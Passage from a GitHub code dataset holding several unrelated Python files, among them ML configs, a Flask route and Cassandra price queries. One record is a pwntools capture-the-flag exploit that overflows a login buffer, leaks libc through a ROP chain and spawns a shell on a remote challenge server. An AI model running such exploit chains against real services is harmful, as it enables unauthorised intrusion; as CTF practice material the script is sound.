neighbor in parent:\n return False\n \n parent[neighbor] = node\n stack.append(neighbor)\n \n return len(parent) == n\n \n# Link: https://leetcode.com/problems/graph-valid-tree/\n","repo_name":"jenli810006995/365DaysofAlgorithms","sub_path":"Graph/261. Graph Valid Tree/Graph_Valid_Tree.py","file_name":"Graph_Valid_Tree.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73980637671","text":"from dotenv import load_dotenv\nfrom fastapi import FastAPI\nfrom fastapi.responses import FileResponse\nfrom src.routes.favicon_bank import return_favicon\nfrom src.routes.favicon import gen_favicons\nimport os\n\nload_dotenv()\n\napp = FastAPI()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Hello World\"}\n\n@app.get(\"/favicon/{bank_id}\")\nasync def favicon(bank_id: str):\n return return_favicon(bank_id)\n\n@app.get(\"/favicon\")\nasync def favicon():\n return gen_favicons()\n\n@app.get(\"/favicon.ico\")\nasync def favicon():\n return FileResponse(\"favicon.ico\")","repo_name":"danielcgiraldo/findata-api","sub_path":"src/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17163576410","text":"from pwn import *\r\nimport sys\r\nremote_addr = [\"59.110.164.72\",10000]\r\nlibc = ELF('./libc-2.23.so')\r\nelf = ELF('./Login')\r\nif len(sys.argv) == 1:\r\n context.log_level=\"debug\" \r\n #p = process([\"qemu-aarch64\", \"-L\", \"/usr/aarch64-linux-gnu/\", \"-g\",\"1234\",\"./stack\"]) \r\n #p = process([\"qemu-aarch64\", \"-L\", \".\", \"./stack\"]) \r\n p = process(\"./Login_patched\")\r\n context(arch='amd64', os='linux')\r\n context.terminal = ['tmux', 'splitw', '-h']\r\nif len(sys.argv) == 2 :\r\n if 'r' in sys.argv[1]:\r\n p = remote(remote_addr[0],remote_addr[1])\r\n if 'n' not in sys.argv[1]:\r\n context.log_level=\"debug\" \r\n #context(arch = 'amd64', os = 'linux')\r\nr = lambda : p.recv()\r\nrl = lambda : p.recvline()\r\nrc = lambda x: p.recv(x)\r\nru = lambda x: p.recvuntil(x)\r\nrud = lambda x: p.recvuntil(x, drop=True)\r\ns = lambda x: p.send(x)\r\nsl = lambda x: p.sendline(x)\r\nsa = lambda x, y: p.sendafter(x, y)\r\nsla = lambda x, y: p.sendlineafter(x, y)\r\nshell = lambda : p.interactive()\r\npr = lambda name,x : log.info(name+':'+hex(x))\r\n\r\nDEBUG = 1\r\n\r\ndef debug(bp = None):\r\n if DEBUG == 1:\r\n if bp != None:\r\n gdb.attach(p, bp)\r\n else:\r\n gdb.attach(p)\r\n\r\n\r\ndebug()\r\nrl()\r\n#leak_addr = int(ru(b'\\n')[17:], 16)\r\n#pr('leak_addr', leak_addr)\r\npayload = b'a' * (0x1c) + p32(0x15cc15cc)\r\ns(payload)\r\n#libc_base = leak_addr - 0x3c48e0\r\n#binsh = libc_base + next(libc.search(b'/bin/sh\\x00'))\r\n#system = libc_base + libc.sym['system']\r\npop_rdi = 0x4008c3\r\nret = 0x400599\r\npayload = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400796)\r\ns(payload)\r\nleak_addr = u64(ru(b'\\x7f')[-6:].ljust(8, b'\\x00'))\r\npr('leak_addr', leak_addr)\r\nlibc_base = leak_addr - libc.sym['puts']\r\nbinsh = libc_base + next(libc.search(b'/bin/sh\\x00'))\r\nsystem = libc_base + libc.sym['system']\r\npayload = b'a' * (0x1c) + p32(0x15cc15cc)\r\nsa('username:\\n', payload)\r\npayload = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(binsh) + p64(system)\r\nsa('password:\\n', payload)\r\n\r\nshell()\r\n","repo_name":"BattiestStone4/pwn-problems","sub_path":"ISCC2023_pwn2/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"29022274714","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nWeb visualisation for Relais and Amergin.\n\nFor ease of development and testing, the image and web generating parts of\nAmergin (and some from ReLais) are being placed in this package.\n\n\"\"\"\n\n__docformat__ = 'restructuredtext en'\n__version__ = \"0.3.1\"\n\n\n### IMPORTS ###\n\n## CONSTANTS & DEFINES ###\n\n### TEST & DEBUG ###\n\ndef _doctest ():\n\timport doctest\n\tdoctest.testmod ()\n\n\n### MAIN ###\n\nif __name__ == '__main__':\n\t_doctest()\n\n\n### END ########################################################################\n","repo_name":"agapow/relais.webviz","sub_path":"relais/webviz/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6372840647","text":"###### Config for test\n\n###: Variables\nggtrace_cpu = [\n \"data/formatted/\", # pd.readfilepath\n [1], # usecols trong pd\n False, # multi_output\n None, # output_idx\n \"cpu/\", # path_save_result\n]\n\nggtrace_ram = [\n \"data/formatted/\", # pd.readfilepath\n [2], # usecols trong pd\n False, # multi_output\n None, # output_idx\n \"ram/\", # path_save_result\n]\n\nggtrace_multi_cpu = [\n \"data/formatted/\", # pd.readfilepath\n [1, 2], # usecols trong pd\n False, # multi_output\n 0, # output_idx\n \"multi_cpu/\", # path_save_result\n]\n\nggtrace_multi_ram = [\n \"data/formatted/\", # pd.readfilepath\n [1, 2], # usecols trong pd\n False, # multi_output\n 1, # output_idx\n \"multi_ram/\", # path_save_result\n]\n\ngiang1 = [\n \"data/formatted/giang/\", # pd.readfilepath\n [3], # usecols trong pd\n False, # multi_output\n None, # output_idx\n \"giang1/\", # path_save_result\n]\n\n\n######################## Paras according to the paper\n\n####: FLNN\nflnn_paras = {\n \"sliding_window\": [2, 3, 4, 5],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\", \"tanh\"],\n\n \"epoch\": [1500],\n \"learning_rate\": [0.025], # 100 -> 900\n \"batch_size\": [64], # 0.85 -> 0.97\n \"beta\": [0.90] # 0.005 -> 0.10\n}\n\n####: MLNN-1HL\nmlnn1hl_paras_final = {\n \"sliding_window\": [2, 5, 10],\n \"expand_function\": [None],\n \"hidden_sizes\" : [[5] ],\n \"activations\": [(\"elu\", \"elu\")], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"learning_rate\": [0.01],\n \"epoch\": [1000],\n \"batch_size\": [128],\n \"optimizer\": [\"adam\"], # GradientDescentOptimizer, AdamOptimizer, AdagradOptimizer, AdadeltaOptimizer\n \"loss\": [\"mse\"]\n}\n\n####: MLNN-1HL\nmlnn2hl_paras_final = {\n \"sliding_window\": [2, 5, 10],\n \"expand_function\": [None],\n \"hidden_sizes\" : [[5, 3] ],\n \"activations\": [(\"elu\", \"elu\", \"elu\")], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"learning_rate\": [0.0001],\n \"epoch\": [2000],\n \"batch_size\": [128],\n \"optimizer\": [\"adam\"], # GradientDescentOptimizer, AdamOptimizer, AdagradOptimizer, AdadeltaOptimizer\n \"loss\": [\"mse\"]\n}\n\n\n\n\n\n# ========================== Hybrid FLNN =================================\n\n#### : FL-GANN\nflgann_giang1_paras = {\n \"sliding_window\": [2, 3, 5, 10],\n \"expand_function\": [0, 1, 2, 3, 4], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\", \"tanh\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [700],\n \"pop_size\": [250], # 100 -> 900\n \"pc\": [0.95], # 0.85 -> 0.97\n \"pm\": [0.025], # 0.005 -> 0.10\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n####: LSTM-1HL\nlstm1hl_giang1_paras = {\n \"sliding_window\": [2, 3, 5, 10],\n \"expand_function\": [None], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"hidden_sizes\" : [[5], [10] ],\n \"activations\": [(\"elu\", \"elu\")], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"learning_rate\": [0.0001],\n \"epoch\": [1000],\n \"batch_size\": [128],\n \"optimizer\": [\"adam\"], # GradientDescentOptimizer, AdamOptimizer, AdagradOptimizer, AdadeltaOptimizer\n \"loss\": [\"mse\"],\n \"dropouts\": [[0.2]]\n}\n\n\n\n\n\n#### : FL-GANN\nflgann_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\", \"tanh\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [10],\n \"pop_size\": [200], # 100 -> 900\n \"pc\": [0.95], # 0.85 -> 0.97\n \"pm\": [0.025], # 0.005 -> 0.10\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : DE-MLNN\nfldenn_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\", \"tanh\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [20],\n \"pop_size\": [200], # 10 * problem_size\n \"wf\": [0.8], # Weighting factor\n \"cr\": [0.9], # Crossover rate\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : PSO-FLNN\nflpsonn_paras = {\n \"sliding_window\": [2, 5, 10],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\", \"tanh\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [50],\n \"pop_size\": [200], # 100 -> 900\n \"w_minmax\": [(0.4, 0.9)], # [0-1] -> [0.4-0.9] Trong luong cua con chim\n \"c_minmax\": [(1.2, 1.2)], # [(1.2, 1.2), (0.8, 2.0), (1.6, 0.6)] # [0-2] Muc do anh huong cua local va global\n # r1, r2 : random theo tung vong lap\n # delta(t) = 1 (do do: x(sau) = x(truoc) + van_toc\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : BFO-FLNN\nflbfonn_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"pop_size\": [50],\n \"Ci\": [0.01], # step_size\n \"Ped\": [0.25], # p_eliminate\n \"Ns\": [2], # swim_length\n \"Ned\": [6], # elim_disp_steps\n \"Nre\": [2], # repro_steps\n \"Nc\": [30], # chem_steps\n \"attract_repel\": [(0.1, 0.2, 0.1, 10)], # [ d_attr, w_attr, h_repel, w_repel ]\n\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : ABFOLS-FLNN\nflabfolsnn_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [100],\n \"pop_size\": [200], # 100 -> 900\n \"Ci\": [(0.1, 0.00001)], # C_s (start), C_e (end) -=> step size # step size in BFO\n \"Ped\": [0.25], # p_eliminate\n \"Ns\": [4], # swim_length\n \"N_minmax\": [(3, 40)], # (Dead threshold value, split threshold value) -> N_adapt, N_split\n\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : CSO-FLNN\nflcsonn_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [100],\n \"pop_size\": [200], # 100 -> 900\n \"mixture_ratio\": [0.15], #\n \"smp\": [10], # seeking memory pool, 10 clones (greater is better but more need time training)\n \"spc\": [True], # self-position considering\n \"cdc\": [0.8], # counts of dimension to change (greater is better)\n \"srd\": [0.01], # seeking range of the selected dimension (lower is better but slow searching domain)\n \"w_minmax\": [(0.4, 0.9)], # same in PSO\n \"c1\": [0.4], # same in PSO\n \"selected_strategy\": [0], # 0: best fitness, 1: tournament, 2: roulette wheel, 3: random (decrease by quality)\n\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n#### : ABC-FLNN\nflabcnn_paras = {\n \"sliding_window\": [2],\n \"expand_function\": [0], # 0:chebyshev, 1:legendre, 2:laguerre, 3:powerseries, 4:trigonometric\n \"activation\": [\"elu\"], # 0: elu, 1:relu, 2:tanh, 3:sigmoid\n \"train_valid_rate\": [(0.6, 0.4)],\n\n \"epoch\": [100],\n \"pop_size\": [200], # 100 -> 900\n \"couple_bees\": [(16, 4)], # number of bees which provided for good location and other location\n \"patch_variables\": [(5.0, 0.985)], # patch_variables = patch_variables * patch_factor (0.985)\n \"sites\": [(3, 1)], # 3 bees (employeeed bees, onlookers and scouts), 1 good partition\n\n \"domain_range\": [(-1, 1)] # lower and upper bound\n}\n\n\n\n\n\n\n","repo_name":"chasebk/code_FLNN","sub_path":"utils/SettingPaper.py","file_name":"SettingPaper.py","file_ext":"py","file_size_in_byte":8941,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"72"} +{"seq_id":"70738571432","text":"class Solution(object):\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n alr_seen = set()\n \n for num in nums:\n alr_seen.add(num)\n\n if len(alr_seen) != len(nums):\n return True\n return False\n \n","repo_name":"AbduAwad/LeetCodeProblemSolutions","sub_path":"0217-contains-duplicate/0217-contains-duplicate.py","file_name":"0217-contains-duplicate.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16310356825","text":"# -*- coding: utf-8 -*-\n\nfrom threading import Thread,current_thread\nfrom time import sleep,time\n\n\ndef process():\n for i in range(3):\n sleep(1)\n print(\"%d-thread name is %s\\n\" % (i,current_thread().name))\n\ndef main():\n print(\"-------主线程开始------\")\n ts = [Thread(target=process) for i in range(4)]\n for t in ts:\n t.start()\n for t in ts:\n t.join()\n print(\"主线程结束。。。。。。\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Raylively/python","sub_path":"多线程/threading_method.py","file_name":"threading_method.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16698908497","text":"import random\n \nolist = [random.randrange(10) for i in range(15)]\nprint(f\"Original list: {olist}\")\n\ndef looplist():\n loopers = []\n for x in olist:\n if x in loopers:\n loopers.remove(x)\n loopers.append(x)\n print(f\"Loop list: {loopers}\")\n\ndef setlist():\n set1 = set(olist)\n print(f\"Set list: {set1}\") \n \nlooplist()\nsetlist()","repo_name":"Alien304/workout","sub_path":"Zadanie14.py","file_name":"Zadanie14.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7165163918","text":"from flask import Blueprint, request, redirect, url_for, flash, render_template\n\nbp = Blueprint('register_analysis', __name__)\n\n\n@bp.route(\"/\", methods=(\"GET\", \"POST\"))\ndef index():\n return redirect(url_for(\"register_analysis.create_analysis\"))\n\n\n@bp.route('/start', methods=('GET', 'POST'))\ndef create_analysis():\n if request.method == \"POST\":\n path = request.form[\"path\"]\n error = None\n\n if not path:\n error = \"path is required\"\n\n if error is None:\n\n return redirect(url_for(\"analysis_page.index\", user_id=path))\n\n flash(error)\n\n return render_template('register_analysis.html')\n","repo_name":"siheming/mspypeline","sub_path":"mspypeline/flask_scripts/blueprints/register_analysis.py","file_name":"register_analysis.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"74274257191","text":"import sys\nsys.path.append(\"..\")\nimport pandas as pd\nimport numpy as np\nfrom cassandra.query import SimpleStatement\nfrom cassandra.cluster import Cluster\ntry:\n from models.bitcoin_dashboard.data_collection.Create_CQL import *\nexcept:\n from data_collection.Create_CQL import *\nimport time\nfrom datetime import datetime, timedelta\nimport time\n\ndef pandas_factory(colnames, rows):\n return pd.DataFrame(rows, columns=colnames)\n\nCASSANDRA_HOST = ['192.168.0.106', '192.168.0.101']\nCASSANDRA_PORT = 9042\nCASSANDRA_DB = \"cryptocoindb2\"\n\ncluster = Cluster(contact_points=CASSANDRA_HOST, port=CASSANDRA_PORT)\nsession = cluster.connect(CASSANDRA_DB)\nsession.row_factory = pandas_factory\nsession.default_fetch_size = None\n\ndef getCoinPrices(coinname=None, dateFrom=None, dateTo=None, session=None, debug=False):\n \"\"\"\n Function to return a single coins prices between a set of dates.\n :param coinname: String value of the coin name in the format of WCI's API\n :param dateFrom: string date in the format 2017-08-01\n :param dateTo: string date in the format 2017-08-01\n :return:\n \"\"\"\n if session == None:\n CASSANDRA_HOST = ['192.168.0.106', '192.168.0.101']\n CASSANDRA_PORT = 9042\n CASSANDRA_DB = \"cryptocoindb2\"\n\n cluster = Cluster(contact_points=CASSANDRA_HOST, port=CASSANDRA_PORT)\n session = cluster.connect(CASSANDRA_DB)\n session.row_factory = pandas_factory\n session.default_fetch_size = None\n\n if dateTo == None:\n dates = datesFromTo(DatesFrom=dateFrom, DatesTo=datetime.today())\n else:\n dates = datesFromTo(DatesFrom=dateFrom, DatesTo=dateTo)\n\n dates = list2String(dates)\n CASSANDRA_DB = \"cryptocoindb2\"\n CASSANDRA_TABLE = \"worldcoinindex\"\n\n qryCoins = \"\"\"SELECT price_usd, timestamp FROM {}.{} \n WHERE date in ({})\n AND name = '{}';\"\"\".format(CASSANDRA_DB,CASSANDRA_TABLE, dates, coinname)\n\n if debug:\n print(qryCoins)\n rslt = session.execute(qryCoins, timeout=None)\n tblCoinPrices = rslt._current_rows\n return tblCoinPrices\n\n\ndef getUSDPriceWCI(coinname=None, date=None):\n \"\"\"\n Gets the average pricer of a coin on a given date.\n Used to get purchase price of my intiial coins I bought prior to be tracking that metric.\n :param coinname: String value of the coin name in the format of WCI's API\n :param date: string date in the format 2017-08-01\n :return: a list to be made into columns of a dataframe with the appropriate data\n \"\"\"\n purchaseDate = date\n date = date\n coinname = coinname.lower()\n CASSANDRA_DB = \"cryptocoindb2\"\n CASSANDRA_TABLE = \"worldcoinindex\"\n qryCoins = \"\"\"SELECT price_usd, timestamp FROM {}.{} \n WHERE date = '{}'\n AND name = '{}';\"\"\".format(CASSANDRA_DB,CASSANDRA_TABLE, date, coinname)\n\n rslt = session.execute(qryCoins, timeout=None)\n tblCoins = rslt._current_rows\n if date == datetime.now().strftime('%Y-%m-%d'):\n print(\"Can't get a price for this coin.\")\n return coinname, -999\n if tblCoins.shape[0] == 0:\n nextDay = date\n nextDay = datetime.strptime(nextDay, '%Y-%m-%d').date()+timedelta(days=1)\n nextDay = nextDay.strftime('%Y-%m-%d')\n return getUSDPriceWCI(coinname=coinname, date=nextDay)\n return [coinname, date, tblCoins.price_usd.mean()]\n\ndef getBitCoinPriceCC(coinname=None, date=None):\n # DEPRECATE WARNING: Will remove in the future at some time.. think this is a bad function.. maybe?\n # needs better documentation at the very least!\n date = date\n coinname = coinname.lower()\n CASSANDRA_DB = \"cryptocoindb2\"\n CASSANDRA_TABLE = \"coinlist_cccharts\"\n qryCoins = \"\"\"SELECT price_btc, timestamp FROM {}.{} \n WHERE date = '{}'\n AND id = '{}';\"\"\".format(CASSANDRA_DB,CASSANDRA_TABLE, date, coinname)\n rslt = session.execute(qryCoins, timeout=None)\n tblCoins = rslt._current_rows\n if date == datetime.now().strftime('%Y-%m-%d'):\n print(date)\n print(\"Can't get a price for this coin.\")\n return coinname, -999\n if tblCoins.shape[0] == 0:\n nextDay = date\n nextDay = datetime.strptime(nextDay, '%Y-%m-%d').date()+timedelta(days=1)\n nextDay = nextDay.strftime('%Y-%m-%d')\n return getBitCoinPriceCC(coinname=coinname, date=nextDay)\n return [coinname, tblCoins.price_btc.mean(), date]\n\ndef getMyCoinDeltas(strName=None, floatPriceNow=None, dateTime=None, dfCoinHistory=None):\n \"\"\"\n Gets the difference in price between when the coin was purchased and the market prices at a point in time.\n Then it calculates the weighted values for the individual coin if theres mutlitple purchases on different days\n FIFO\n :param strName: String value in the format of WCI' API\n :param floatPriceNow: Float value for the point in time being evaluated\n :param dfCoinHistory: My DF of coin purchases\n :return:\n \"\"\"\n #TODO: Ensure this can handle if/when I sell bitcoins/altcoins\n\n dfTransactions = dfCoinHistory[dfCoinHistory['name'] == strName.lower()] # fileters out just that coins data\n if dfTransactions.shape[0] == 0:\n print('You do not own that coin.')\n return None\n else:\n coinValue = 0.0\n for purchasePrice, purchaseAmt, purchaseTime in zip(dfTransactions.price_at_transaction, dfTransactions.coins_transacted, dfTransactions.transaction_time):\n if purchaseTime < dateTime:\n priceDelta = floatPriceNow - purchasePrice\n coinValue += priceDelta * purchaseAmt\n\n return coinValue\n\ndef getCurrentPrice(strName=None):\n strName = strName.lower()\n # shitty hack to fix LiteCoin's case change in the data... I need to migrate the data to another table with all lower case\n strCurrentDate = datetime.utcnow().strftime('%Y-%m-%d')\n CASSANDRA_DB = \"cryptocoindb2\"\n CASSANDRA_TABLE = \"worldcoinindex\"\n qryCoins = \"\"\"SELECT * \n FROM {}.{}\n WHERE date='{}' AND name='{}' LIMIT 1;\"\"\".format(CASSANDRA_DB, CASSANDRA_TABLE, strCurrentDate, strName)\n\n # print(qryCoins)\n rslt = session.execute(qryCoins, timeout=None)\n tblCoins = rslt._current_rows\n\n # print(qryCoins)\n if tblCoins.shape[0] != 1:\n print('getCurrentPrice({}): Error'.format(strName))\n print('Either more than one record was returned or we could not find that coin in the DB.')\n print('The scraper probably broke and needs to be rebooted or something... ')\n return 0\n else:\n price = tblCoins['price_usd'].loc[0]\n return price\n\ndef simpleSelectCQL(CASSANDRA_TABLE, CASSANDRA_DB=CASSANDRA_DB,fields='*', where=None, limit=None):\n \"\"\"\n A function to make writting CQL SELECT statments more Pythonic\n :param CASSANDRA_TABLE: String value, The table where the data is located\n :param CASSANDRA_DB: String value, The Keyspace\n :param fields: String value containing comma sperated field names\n :param where: String value containing the criteria for a where statement\n :param limit: String or Int value containing the limit number\n ALSO put ALLOW FILTERING at end in String format if needed\n Example: limit='10 ALLOW FILTERING'\n :return: Pandas DataFrame containing queried results\n \"\"\"\n if where != None:\n WHERE = 'WHERE '\n else:\n WHERE = ''\n where = ''\n\n if limit != None:\n LIMIT = 'LIMIT '\n else:\n LIMIT = ''\n limit = ''\n\n query = \"\"\"SELECT {} FROM {}.{} \n {}{}\n {}{};\"\"\".format(fields, CASSANDRA_DB, CASSANDRA_TABLE, WHERE, where, LIMIT, limit)\n try:\n rslt = session.execute(query, timeout=None)\n table = rslt._current_rows\n return table\n except Exception as e:\n print(query)\n print('\\n\\n', e)\n raise IOError\n\ndef list2String(list):\n return \"'\"+\"', '\".join(list)+\"'\"\n\ndef datesFromTo(DatesFrom=None, DatesTo=datetime.today()):\n \"\"\"\n Provides a date range for filtering coin queries\n :param DatesFrom: String Datetime value, of the oldest date to get records in format 2017-09-20\n :param DatesTo: String or Datetime value of the most recent record to get in format 2017-09-20\n :return: list of dates between the given periods.\n \"\"\"\n if type(DatesTo) != datetime:\n DatesTo = datetime.strptime(DatesTo, '%Y-%m-%d')\n if type(DatesFrom) != datetime:\n DatesFrom = datetime.strptime(DatesFrom, '%Y-%m-%d')\n datelist = []\n timeDelta = DatesFrom - DatesTo\n for i in range(abs(timeDelta.days) + 1):\n date = DatesFrom + timedelta(days=i)\n datelist.append(date.strftime('%Y-%m-%d'))\n return datelist\n\n\ndef getCurrentWalletDF(session=None, db='cryptocoindb2', coin=None):\n \"\"\"\n Function get all the transaction history for a given coin or all coins owned. Then it gets the current price and\n calculates the ROI etc..\n :param session: the Cassandra Session\n :param db: the DB the data is in..\n :param coin: the coin name if none it will get all\n :return: a dataframe with coin data\n \"\"\"\n\n if session == None:\n CASSANDRA_HOST = ['192.168.0.106', '192.168.0.101']\n CASSANDRA_PORT = 9042\n\n cluster = Cluster(contact_points=CASSANDRA_HOST, port=CASSANDRA_PORT)\n session = cluster.connect(db)\n session.row_factory = pandas_factory\n session.default_fetch_size = None\n\n if coin:\n coinHistory = \"SELECT * FROM {}.transactions WHERE name='{}' ALLOW FILTERING;\".format(db,coin) # I know I should restructure the table but its not gonna be big.. yet.. sorry future self\n else:\n coinHistory = \"SELECT * FROM {}.transactions;\".format(db)\n rslt = session.execute(coinHistory, timeout=None)\n coinHistory = rslt._current_rows\n\n coinHistory['USD_In'] = coinHistory['price_at_transaction'] * coinHistory['coins_transacted'] #wallet value at purchase\n coinHistory['CurrentPrice'] = coinHistory.apply(lambda row: getCurrentPrice(row['name']), axis=1)\n coinHistory['CurrentWalletVallue'] = coinHistory['CurrentPrice'] * coinHistory['coins_transacted']\n # my times are in -5 GMT/ CST time so just adjusting to put all in a common timezone. really should just make everything UTC but ehh.. later\n coinHistory['transaction_time'] = pd.to_datetime(coinHistory['transaction_time']) + pd.Timedelta('6 hours')\n\n return coinHistory\n\n# def getPriceDelta(strName=None, floatPriceNow=None, dateTime=None, floatLastPrice=None):\n\n# TODO: Create function/query to get data faster.\n\"\"\"\nMaybe only get data for every hour back N days that way the number of records queried is several magnitudes less. \nThen create a function to stream the data in between the hours till some percentage is filled in. \nThis could help with load speeds\n\"\"\"\n\n\nif __name__ == \"__main__\":\n\n print(getCurrentPrice(strName='bitcoin'))","repo_name":"usmcamp0811/mattcamp.org","sub_path":"models/bitcoin_dashboard/data_analysis/dataRetrieval.py","file_name":"dataRetrieval.py","file_ext":"py","file_size_in_byte":10935,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"18500643689","text":"\"\"\"\nnapari-explorer widget\n\"\"\"\nimport pathlib\nfrom os.path import join\nfrom typing import TYPE_CHECKING\n\nfrom magicgui import magic_factory\n\nif TYPE_CHECKING:\n import napari\n\n\nfile_types = [\"all\", \".czi\", \".tif\", \".png\", \".jpg\"]\nreader_plugins = [\"napari-aicsimageio\", \"napari\"]\nhome_file_choices = [file.name for file in list(pathlib.Path().glob(\"*.*\"))]\n\n\ndef on_init(folder_explorer):\n \"\"\"Connect file directory and file extension changes to file choices.\n\n on_init is called each time folder_explorer creates a new widget,\n per npe2 specification.\n This is connected via widget_init param in magic_factory decorator\n on_init only accepts one input, so the input can be the only way\n to connect events.\n Perhaps in the future there will also be a way to grab the viewer\n instance without pre-defining it, such that viewer events\n can also be connected.\n \"\"\"\n\n @folder_explorer.file_extension.changed.connect\n @folder_explorer.file_directory.changed.connect\n @folder_explorer.called.connect\n def _update_file_choices():\n if folder_explorer.file_extension.value == [\"all\"]:\n # get all the files in a folder that contain a .\n file_list = list(folder_explorer.file_directory.value.glob(\"*.*\"))\n else:\n # filter out files with path.suffix according to suffixes defined\n # by the choices in file_extension\n file_list = sorted(\n filter(\n lambda path: path.suffix\n in folder_explorer.file_extension.value,\n folder_explorer.file_directory.value.glob(\"*.*\"),\n )\n )\n file_list = [file.name for file in file_list]\n folder_explorer.file_choices.choices = file_list\n print(\"updated file_choices\")\n\n\n@magic_factory(\n widget_init=on_init,\n auto_call=False,\n labels=False,\n call_button=\"Open Files\",\n file_directory=dict(widget_type=\"FileEdit\", mode=\"d\"),\n file_extension=dict(widget_type=\"Select\", choices=file_types),\n reader_plugin=dict(\n widget_type=\"RadioButtons\", label=\"Reader\", choices=reader_plugins\n ),\n file_choices=dict(widget_type=\"Select\", choices=home_file_choices),\n)\ndef folder_explorer(\n viewer: \"napari.viewer.Viewer\",\n file_directory=pathlib.Path(),\n file_extension=\"all\",\n file_choices=[],\n reader_plugin=\"napari-aicsimageio\",\n):\n \"\"\"Open Files\n\n Search a file directory and filter by file extension suffix.\n Currently bugged to not always inherit file_choices properly after\n function is called, even with event connection.\n This bug appears intrinsic to viewer.open().\n This function also forms a framework to handle any single or list\n of files as an input to a greater function.\n \"\"\"\n file_locations = [\n join(str(file_directory), str(file)) for file in file_choices\n ]\n print(\"opening:\", file_locations)\n viewer.open(path=file_locations, plugin=reader_plugin)\n return file_locations\n","repo_name":"TimMonko/napari-explorer","sub_path":"src/napari_explorer/_widget.py","file_name":"_widget.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30879281153","text":"import time\n\nclass FiboIter():\n def __init__(self, max=None) -> None:\n self.max = max + 1\n\n def __iter__(self):\n self.n1 = 0\n self.n2 = 1\n self.counter = 0\n return self\n\n def __next__(self):\n \n if self.counter == 0:\n self.counter += 1\n return self.n1\n elif self.counter == 1:\n self.counter += 1\n return self.n2\n else:\n self.aux = self.n1 + self.n2\n # self.n1 = self.n2\n # self.n2 = self.aux\n if self.max <= self.aux:\n # return self.aux\n raise StopIteration\n self.n1, self.n2 